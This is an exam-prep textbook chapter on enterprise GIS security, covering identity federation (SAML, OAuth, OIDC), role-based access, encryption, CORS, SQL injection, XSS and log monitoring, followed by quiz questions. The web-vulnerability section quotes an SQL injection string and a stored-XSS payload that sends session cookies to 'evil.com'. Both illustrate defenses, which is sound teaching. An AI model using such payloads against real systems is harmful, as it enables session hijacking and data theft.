16.3 Enterprise GIS Security, Authentication, Authorization & System Auditing

Key Takeaways

  • Enterprise geospatial security operationalizes the CIA Triad (Confidentiality, Integrity, Availability) through defense-in-depth principles spanning network perimeters, application gateways, and spatial database controls.
  • Authentication verifies user or service identity, whereas authorization determines permissible operations against spatial layers, geoprocessing tools, and administrative endpoints.
  • Enterprise identity federation leverages industry protocols: SAML 2.0 provides XML-based Single Sign-On (SSO), OAuth 2.0 provides token-based authorization delegation, and OpenID Connect (OIDC) provides an identity claim layer utilizing JSON Web Tokens (JWTs).
  • Role-Based Access Control (RBAC) assigns granular privileges (Viewer, Editor, Publisher, Administrator) and combines with row-level security, attribute-level masking, and spatial definition queries to restrict sensitive feature visibility.
  • Robust GIS system administration enforces TLS 1.2/1.3 encryption in transit, AES-256 transparent data encryption at rest, secure CORS configurations, SQL injection prevention, and centralized SIEM log monitoring across standardized severity levels (SEVERE, WARNING, INFO, DEBUG).
Last updated: September 2026

16.3 Enterprise GIS Security, Authentication, Authorization & System Auditing

Core Principle: Geospatial information systems manage some of an organization's most sensitive assets—including critical utility infrastructure, emergency response routing, real-time vehicle locations, tax parcels, and confidential environmental or defense data. Securing an enterprise GIS requires a defense-in-depth model that spans identity federation, granular role-based authorization, cryptographic data protection, and continuous system auditing. GIS professionals must master the protocols that govern identity assertion (SAML, OAuth 2.0, OIDC), web application vulnerability mitigation (CORS, SQL injection, XSS), and server log diagnostics to ensure spatial data remains protected without compromising authorized access.


1. Information Security Principles & The CIA Triad in Geospatial Systems

The foundation of enterprise information security is the CIA Triad—Confidentiality, Integrity, and Availability. In geospatial systems, each pillar addresses specific operational threats:

   +-------------------------------------------------------------------------+
   |                  THE CIA TRIAD APPLIED TO ENTERPRISE GIS                |
   +-------------------------------------------------------------------------+
   | CONFIDENTIALITY: Protecting Sensitive Spatial Assets                     |
   |   - Critical utility infrastructure (water valves, gas pipelines)       |
   |   - Endangered species nesting coordinates, cultural archaeological sites|
   |   - Personally Identifiable Information (PII) linked to cadastral parcel |
   |   - Enforcement: IAM, RBAC, Row-Level Security, Spatial Masking         |
   +-------------------------------------------------------------------------+
   | INTEGRITY: Preserving Coordinate and Attribute Accuracy                 |
   |   - Preventing unauthorized edits to zoning boundaries or parcel schemas|
   |   - Eliminating coordinate precision degradation or truncation tampering |
   |   - Maintaining topological consistency and valid version ancestry      |
   |   - Enforcement: Database constraints, digital signatures, audit logs   |
   +-------------------------------------------------------------------------+
   | AVAILABILITY: Ensuring Uninterrupted Spatial Service Delivery           |
   |   - Continuous operation of 911 Computer-Aided Dispatch (CAD) routing   |
   |   - High-throughput public outage dashboards during hurricane events     |
   |   - Resilience against Distributed Denial of Service (DDoS) attacks     |
   |   - Enforcement: Redundant load balancing, CDN edge caching, HA failover|
   +-------------------------------------------------------------------------+

The Defense-in-Depth Model

Security cannot rely on a single defensive barrier. A defense-in-depth strategy establishes concentric layers of protection:

  1. Perimeter / Network Layer: Firewalls, Virtual Private Clouds (VPCs), Demilitarized Zones (DMZs), and DDoS mitigation services (e.g., AWS Shield, Cloudflare).
  2. Web Gateway Layer: Web Application Firewalls (WAF) blocking malicious HTTP payloads, reverse proxies terminating SSL/TLS, and strict Cross-Origin Resource Sharing (CORS) rules.
  3. Application Layer: Enterprise Identity Providers (IdP), Multi-Factor Authentication (MFA), Role-Based Access Control (RBAC), and session token expiration.
  4. Database & Data Layer: Transparent Data Encryption (TDE) at rest, database schema grants, row-level spatial filtering, and encrypted database connections.

2. Identity and Access Management (IAM): Authentication vs. Authorization

A fundamental distinction on the GISP exam is the difference between Authentication and Authorization:

   [ User / Client Application ]
                |
                v
   +-------------------------------------------------------------------------+
   | STEP 1: AUTHENTICATION (AuthN) - "Who are you?"                         |
   | - Verifies identity via credentials (Username/Password, MFA Token,      |
   |   Smart Card / CAC, Biometric, or Digital X.509 Certificate).           |
   | - Handled by Identity Providers (IdP: Azure AD, Okta, Ping, Active Dir). |
   +-------------------------------------------------------------------------+
                |
                | User Identity Verified (e.g., JaneDoe@city.gov)
                v
   +-------------------------------------------------------------------------+
   | STEP 2: AUTHORIZATION (AuthZ) - "What are you allowed to do?"           |
   | - Evaluates privileges, roles, and group memberships.                   |
   | - Can Jane Doe view the gas pipeline layer? (Yes: Read-Only)            |
   | - Can Jane Doe delete parcel boundaries? (No: Insufficient privilege)   |
   | - Handled by GIS Application Security, RBAC matrices, and RDBMS grants. |
   +-------------------------------------------------------------------------+
  • Authentication (AuthN): The verification of an entity's claimed identity. It answers: Is this user truly who they claim to be?
  • Authorization (AuthZ): The process of granting or denying specific permissions and operational privileges to an authenticated entity. It answers: Does this verified user have permission to view, edit, publish, or administer this specific spatial resource?

3. Enterprise Identity Providers & Federation Protocols

Modern enterprise GIS eliminates standalone local GIS user accounts (where usernames and passwords are stored directly inside the GIS software database). Instead, organizations implement Identity Federation, delegating user authentication to a centralized enterprise Identity Provider (IdP).

SAML 2.0 (Security Assertion Markup Language)

SAML 2.0 is an established, XML-based standard for cross-domain Single Sign-On (SSO) commonly used in enterprise and government environments.

   +-------------------------------------------------------------------------+
   |                     SAML 2.0 WEB SSO FLOW IN GIS                        |
   +-------------------------------------------------------------------------+
   1. User requests protected GIS map portal via Browser (Service Provider - SP).
   2. SP generates XML <AuthnRequest> and redirects user browser to IdP.
   3. User authenticates at enterprise IdP (e.g., Okta / Azure AD with MFA).
   4. IdP generates digitally signed XML <SAMLResponse> containing <Assertion>.
   5. Browser posts assertion to SP's Assertion Consumer Service (ACS) URL.
   6. SP validates cryptographic signature, extracts user claims, logs user in.
  • Principal: The end user accessing the GIS portal through a browser.
  • Service Provider (SP): The GIS application (e.g., ArcGIS Enterprise portal, GeoServer) providing spatial services.
  • Identity Provider (IdP): The authoritative enterprise identity store (e.g., Microsoft Entra ID / Azure AD, Okta, Ping Identity) that validates user credentials.
  • SAML Assertion: A cryptographically signed XML document issued by the IdP containing verified user identity attributes (username, email, organizational group memberships).

OAuth 2.0 Framework

OAuth 2.0 (RFC 6749) is an authorization delegation framework designed for APIs, mobile apps, and third-party integrations. Rather than sharing user passwords, clients obtain short-lived access tokens:

  • Resource Owner: The user who owns the spatial data.
  • Client: The application requesting access (e.g., a mobile field collection app, custom Python automation script, web map dashboard).
  • Authorization Server: Issues access tokens to the client after authenticating the resource owner.
  • Resource Server: The API hosting protected GIS web services (e.g., a feature service REST endpoint) that validates access tokens before serving data.
  • Token Types:
    • Access Token: A short-lived bearer token (typically valid for 15 to 60 minutes) passed in the HTTP Authorization: Bearer <token> header with every API request.
    • Refresh Token: A long-lived, securely stored token used by the client to obtain a fresh access token without prompting the user to re-enter credentials.
  • Grant Types:
    • Authorization Code Flow (with PKCE): The gold standard for web and native mobile applications, utilizing Proof Key for Code Exchange (PKCE) to prevent authorization code interception.
    • Client Credentials Flow: Used for machine-to-machine (M2M) server automation, such as nightly Python ETL scripts running unattended without a human user.

OpenID Connect (OIDC)

While OAuth 2.0 is strictly an authorization framework, OpenID Connect (OIDC) is an identity layer built directly on top of OAuth 2.0.

  • OIDC introduces the ID Token, which is formatted as a standardized JSON Web Token (JWT).
  • An ID Token contains cryptographically signed claims regarding the authenticated user (e.g., sub [subject unique ID], iss [issuer], email, groups, and exp [expiration timestamp]).
  • Modern Web GIS portals frequently leverage OIDC for unified authentication across mobile, desktop, and web applications.

Active Directory (AD) & LDAP

Within internal local area networks, organizations use Lightweight Directory Access Protocol (LDAP) and Microsoft Active Directory (AD):

  • LDAP: A standards-based application protocol for querying and modifying directory services organized in a hierarchical tree (Distinguished Names DN, Organizational Units OU, Common Names CN).
  • Integrated Windows Authentication (IWA): Utilizes Kerberos or NTLM protocols to negotiate authentication transparently via Windows domain credentials, allowing internal users on domain-joined machines to access GIS portals without typing credentials.

4. Role-Based Access Control (RBAC) & Fine-Grained Spatial Permissions

Once a user's identity is authenticated, the enterprise GIS evaluates Authorization using Role-Based Access Control (RBAC).

   ENTERPRISE USERS           SYSTEM ROLES                    PERMITTED PRIVILEGES
   +------------------+       +---------------+       +--------------------------------+
   | Public Citizen   | ----> | Viewer        | ----> | View Public Layers, Export Map |
   +------------------+       +---------------+       +--------------------------------+
   | Utility Inspector| ----> | Editor        | ----> | Edit Features, Update Attributes|
   +------------------+       +---------------+       +--------------------------------+
   | Senior GIS Tech  | ----> | Publisher     | ----> | Publish Web Layers, Run GP Tools|
   +------------------+       +---------------+       +--------------------------------+
   | GIS Systems Lead | ----> | Administrator | ----> | User Management, System Config |
   +------------------+       +---------------+       +--------------------------------+

Standard Enterprise GIS Roles

  • Viewer: Can view published web maps, search locations, query layer attributes, and export static map images. Cannot create content, edit feature geometries, or publish services.
  • Editor: Possesses all Viewer privileges, plus the ability to add, update, and delete feature geometries and attributes in designated editable feature services.
  • Publisher: Possesses all Editor privileges, plus the authority to publish new hosted map, feature, tile, and geoprocessing services, create web apps, and manage content within shared groups.
  • Administrator: Full administrative governance over the enterprise GIS site, including managing user provisioning, configuring identity federation, allocating licenses, adjusting system security policies, and inspecting audit logs.

Custom Roles & Granular Privileges

Enterprise security mandates the Principle of Least Privilege (users should be granted only the minimal privileges required to perform their specific job functions). Organizations configure Custom Roles combining specific fine-grained privileges:

  • Example Custom Role: "Contract Utility Editor": Permitted to edit existing linear pipe features, but prohibited from deleting features, creating new layers, publishing services, or viewing tax parcel owner names.

Spatial and Attribute-Level Security Mechanisms

Standard RBAC restricts access at the service or layer level. When different users require access to different subsets of records within the same layer, organizations implement granular spatial controls:

  1. SQL Database Views: Database administrators define views restricting columns or rows based on user identity:
    -- Create view exposing only non-sensitive attributes to external consultants
    CREATE VIEW public_water_network AS
    SELECT pipe_id, pipe_diameter, pipe_material, geom
    FROM enterprise_water_mains
    WHERE operational_status = 'Active';
    -- Column 'operating_pressure_psi' and 'security_criticality' are omitted!
    
  2. Definition Queries / Filtered Service Views: Exposing distinct web feature layer views backed by definition queries (e.g., WHERE Maintenance_District = 'North').
  3. Spatial Filtering / Coordinate Masking: To protect endangered species nesting sites or confidential archaeological locations, feature coordinates are generalized or masked (e.g., snapped to a 10-kilometer regional grid cell) before delivery to unprivileged users, while authorized biologists access exact sub-meter GPS coordinates.

5. Cryptography & Data Protection: Transit and Rest

Protecting geospatial assets against eavesdropping, interception, and disk theft requires cryptographic controls across the data lifecycle.

   DATA IN TRANSIT                                        DATA AT REST
   (Moving over Network)                                  (Stored on Physical Disk)
   +-------------------------------+                      +-------------------------------+
   | Browser / Desktop Client      |                      | Enterprise RDBMS / Server     |
   +-------------------------------+                      +-------------------------------+
                  |                                                      |
                  v TLS 1.3 Encryption                                   v AES-256 Encryption
   [ Ciphertext Stream over HTTPS ]                       [ Transparent Data Encryption   ]
   - Asymmetric Handshake (RSA/ECDSA)                     - Tablespace encryption (TDE)   |
   - Symmetric Session (AES-256-GCM)                      - Volume encryption (EBS/LUKS)  |
   - Protects against Man-in-the-Middle                   - Protects against stolen disks |

Encryption in Transit: SSL/TLS

All enterprise GIS network traffic—whether between clients and web adaptors, or between internal application servers and databases—must be encrypted using Transport Layer Security (TLS 1.2 or TLS 1.3):

  • HTTPS Enforcement: Modern GIS servers reject unencrypted HTTP (Port 80) connections, redirecting all requests to encrypted HTTPS (Port 443).
  • HTTP Strict Transport Security (HSTS): A response header (Strict-Transport-Security: max-age=31536000; includeSubDomains) instructing client browsers to interact with the domain exclusively over HTTPS, preventing SSL-stripping downgrade attacks.
  • Cryptographic Handshake: Clients use asymmetric public-key cryptography (RSA or Elliptic Curve ECDSA) and X.509 digital certificates to authenticate server identity and establish a shared secret key. Once established, all data is encrypted using high-speed symmetric ciphers (AES-GCM 256-bit).
  • X.509 Digital Certificates: Production GIS servers must utilize certificates signed by a trusted public Certificate Authority (CA) or an enterprise internal PKI root. Production clients must trust the issuing chain. Public services normally use a public CA, while an internally trusted enterprise PKI can also be appropriate; an untrusted ad-hoc self-signed certificate is unsuitable.

Encryption at Rest: AES-256

Encryption at rest protects physical spatial data stored on disk from unauthorized physical extraction or stolen backup media:

  • Advanced Encryption Standard (AES-256): The universal symmetric block cipher standard utilizing 256-bit keys.
  • Transparent Data Encryption (TDE): Built-in database engine encryption (supported in Oracle, Microsoft SQL Server, and PostgreSQL pgcrypto/disk modules). TDE encrypts database files, transaction logs, and temporary tablespaces at the page level in real time before writing to disk, decrypting blocks into memory when read by authorized database processes.
  • Storage Volume Encryption: Encrypting the underlying operating system and virtual disk volumes (e.g., AWS EBS encryption, Azure Disk Encryption, Linux LUKS, Windows BitLocker).
  • Key Management Systems (KMS): Cryptographic keys must be managed independently of the data storage tier using dedicated Hardware Security Modules (HSM) or cloud KMS services (e.g., AWS KMS, Azure Key Vault), enforcing automated key rotation policies.

6. Web Application Vulnerabilities & Defenses in GIS

Geospatial web services expose REST endpoints that are susceptible to standard web application vulnerabilities if improperly configured.

Cross-Origin Resource Sharing (CORS)

Web browsers enforce the Same-Origin Policy (SOP), which prevents JavaScript running on one domain (https://app.external.org) from reading data from a different domain (https://gis.city.gov). However, Web GIS applications frequently need to mash up spatial layers hosted across different enterprise servers.

  • CORS Headers: The GIS server must return explicit HTTP response headers authorizing cross-origin access:
    Access-Control-Allow-Origin: https://app.external.org
    Access-Control-Allow-Methods: GET, POST, OPTIONS
    Access-Control-Allow-Headers: Content-Type, Authorization
    
  • Preflight OPTIONS Requests: For complex HTTP requests (e.g., POST requests with custom authorization headers), browsers automatically issue a preflight OPTIONS request. The server must acknowledge this request before the browser transmits the actual payload.

[!CAUTION] The Wildcard CORS Security Trap: Setting Access-Control-Allow-Origin: * authorizes every website on the global internet to execute cross-origin requests against your GIS server. While acceptable for completely open, public basemap caches, wildcard CORS must NEVER be configured on authenticated internal enterprise GIS services. Doing so allows malicious websites visited by an authenticated employee to issue authenticated background API requests and exfiltrate internal utility or parcel data.

SQL Injection (SQLi) in Spatial Queries

SQL Injection occurs when untrusted user input is directly concatenated into a dynamic SQL statement executed by the database. In GIS, this frequently occurs in web map attribute queries or custom filtering tools:

# VULNERABLE CODE (SQL Injection Hazard):
user_input = request.get("zone")
# If user enters: C-1' OR '1'='1
sql = f"SELECT * FROM parcels WHERE zoning_code = '{user_input}'"
# Executed query returns EVERY parcel in the database, bypassing district security!
  • Defense: Enforce Parameterized Queries / Prepared Statements, where input parameters are passed separately from SQL command syntax, preventing arbitrary code execution regardless of user input characters:
    # SECURE CODE (Parameterized Query):
    cursor.execute("SELECT * FROM parcels WHERE zoning_code = %s", (user_input,))
    

Cross-Site Scripting (XSS)

Cross-Site Scripting occurs when an application includes untrusted data in a web page without proper validation or escaping, allowing attackers to execute malicious JavaScript in victims' browsers:

  • Stored XSS in GIS: An attacker injects malicious JavaScript into an editable feature class attribute (e.g., setting a parcel owner name or fire hydrant inspection note to <script>document.location='http://evil.com/steal?cookie='+document.cookie</script>). When another user clicks the hydrant in a web map viewer, the web popup renders the script, stealing the user's active session token!
  • Defense: Sanitize all incoming user text, implement context-aware HTML entity encoding in web map popups, and enforce a strict Content Security Policy (CSP) HTTP header.

7. System Monitoring, Health Checks & Log Analysis

Maintaining operational resilience requires real-time health inspection, automated metric alerting, and centralized log auditing.

Health Check Endpoints

Enterprise GIS servers expose dedicated, lightweight health-check endpoints (such as https://gis.city.gov/arcgis/rest/info/healthcheck or /geoserver/web/):

  • Load balancers and automated monitoring tools probe these endpoints every 10 to 30 seconds.
  • A healthy server responds with HTTP 200 OK and a JSON status confirmation ({"status": "success"}).
  • If internal subsystems (such as database connectivity or memory allocation) fail, the endpoint returns an HTTP 500 Internal Server Error or times out, signaling the load balancer to remove the node from service.

Server Logging Severity Levels

Enterprise GIS platforms record operational events into standardized log files categorized by severity level:

Log LevelOperational MeaningServer ImpactTypical Logged Event
SEVERECritical system failures that disrupt operations or abort client requests.Immediate attention required.Enterprise geodatabase connection dropped; map service crash; out-of-memory exception.
WARNINGRecoverable issues or potential security anomalies that do not immediately crash the server.Review recommended.Layer drawing timeout exceeded; invalid spatial query syntax submitted; failed login attempt.
INFOStandard operational milestones and administrative events.Baseline production setting.Service published; cluster machine started; scheduled geoprocessing tool completed.
FINE / DEBUGHighly detailed diagnostic traces, socket connections, and full SQL query strings.Massive disk I/O and CPU overhead.Full SQL statements traced; individual geometry vertex counts; function call entry/exit timestamps.

[!CAUTION] The Production Logging Trap: Leaving server logging set to FINE or DEBUG in a live production environment causes massive disk I/O write contention, rapidly fills storage volumes, and degrades overall GIS server performance by up to 40%. Production logging should be set from operational, security, performance, and retention requirements. Verbose DEBUG logging is commonly temporary because it can add cost and expose sensitive detail.

Centralized SIEM Log Aggregation

In modern enterprise architectures, logs from web servers, reverse proxies, GIS application nodes, and databases are streamed continuously into a centralized Security Information and Event Management (SIEM) platform (such as Splunk, Elastic/ELK Stack, or AWS CloudWatch):

  • Audit Compliance: Tracks who accessed, edited, or exported specific sensitive spatial layers.
  • Anomaly Detection: Alerts administrators if a single user account suddenly exports 50,000 parcel records at 2:00 AM, signaling potential data exfiltration.
  • Performance Telemetry: Correlates 95th percentile service response latency against server CPU/RAM utilization to identify deteriorating services before total failure occurs.

8. Practical Geospatial Scenario: Securing a Regional 911 Public Safety GIS Architecture

Scenario Context

A multi-county emergency communications dispatch consortium is redesigning its regional GIS data architecture. The system supports Computer-Aided Dispatch (CAD) 911 call routing, mobile police/fire navigation tablets, and public emergency notification maps.

Security Implementation Architecture

   +-------------------------------------------------------------------------+
   |             SECURED REGIONAL 911 PUBLIC SAFETY TOPOLOGY                 |
   +-------------------------------------------------------------------------+
   1. Authentication: Field responders and dispatchers authenticate via       |
      SAML 2.0 Single Sign-On against the County's Microsoft Entra ID (Azure |
      AD) with mandatory Multi-Factor Authentication (MFA / FIDO2 tokens).   |
   2. Role-Based Access Control (RBAC):                                      |
      - "Public" Role: Can only view generalized evacuation zone maps via    |
        CloudFront CDN (Cache Hit Ratio = 99%; no direct DB access).         |
      - "Dispatcher" Role: Full read-only access to address points, building |
        floor plans, and hazardous chemical storage locations.               |
      - "Field Investigator" Role: Read/edit access to road closure layers;  |
        attribute-level masking hides domestic violence safehouse addresses. |
   3. Data Protection: All REST endpoints strictly enforce TLS 1.3 with      |
      HSTS. Enterprise PostgreSQL geodatabases employ Transparent Data       |
      Encryption (AES-256) on NVMe storage with AWS KMS managed keys.        |
   4. Web Application Defense: CORS restricted strictly to authorized county |
      subdomains; parameterized SQL queries prevent injection in dispatch tools.|
   5. Auditing: All layer access, edits, and failed logins stream to Splunk; |
      automated alerts fire if >5 failed admin logins occur within 60 seconds.|
   +-------------------------------------------------------------------------+

9. Common Exam Traps & Pitfalls

[!CAUTION] Exam Trap 16.3.1: Conflating SAML 2.0 with OAuth 2.0 Roles. A favorite GISP exam question tests identity protocol selection. Remember their core design intentions:

  • SAML 2.0: Designed for enterprise user Single Sign-On (SSO) in browser-based environments, transmitting user identity assertions formatted in XML between an Identity Provider and a Service Provider.
  • OAuth 2.0: Designed for API authorization delegation, passing lightweight token strings (access tokens and refresh tokens) to mobile apps, desktop clients, and automated machine-to-machine scripts. If the question asks how an automated Python ETL script should authenticate to an enterprise GIS portal without user interaction, the correct answer is OAuth 2.0 Client Credentials Grant, NOT SAML SSO.

[!CAUTION] Exam Trap 16.3.2: Believing Wildcard CORS (*) is Acceptable for Internal Systems. Never select Access-Control-Allow-Origin: * as a valid security configuration for internal or authenticated GIS services. Wildcard CORS allows any third-party website opened in an authenticated user's browser to execute cross-origin requests against internal GIS endpoints. Restrict CORS origins strictly to trusted, whitelisted organizational domain names.

[!CAUTION] Exam Trap 16.3.3: Leaving Log Levels at DEBUG/VERBOSE in Production. If an exam scenario asks why a high-traffic production GIS server is suffering from high disk write latency, unexplainable CPU consumption, and rapidly shrinking disk storage, always look for logging levels. Running an enterprise GIS site with logging set to DEBUG, FINE, or VERBOSE in production generates gigabytes of text per hour, severely degrading server performance.

Loading diagram...
Enterprise GIS Identity Federation, RBAC and Cryptographic Flow
Test Your Knowledge

A GIS systems administrator is integrating an enterprise GIS portal with the municipal IT department's Okta identity provider to allow staff to log in using their standard corporate network credentials without creating local GIS user accounts. Which security architecture and protocol correctly implements this Single Sign-On (SSO) workflow?

A
B
C
D
Test Your Knowledge

An enterprise geodatabase contains a sensitive parcel layer where property boundaries are public, but property owner names and social security numbers are protected confidential information under state privacy statutes. External contract planners require access to parcel boundaries and zoning classifications to design transit routes, but must be prohibited from viewing property owner personal data. What is the most secure and maintainable database method to enforce this restriction?

A
B
C
D
Test Your Knowledge

Following a major system upgrade, an enterprise GIS administrator notices that GIS server hosts are suffering from unusually high disk I/O wait times, storage space on the system drive is decreasing by 10 gigabytes every day, and service response times have degraded noticeably. Upon inspecting server administrative settings, what configuration error is most likely responsible for this degradation?

A
B
C
D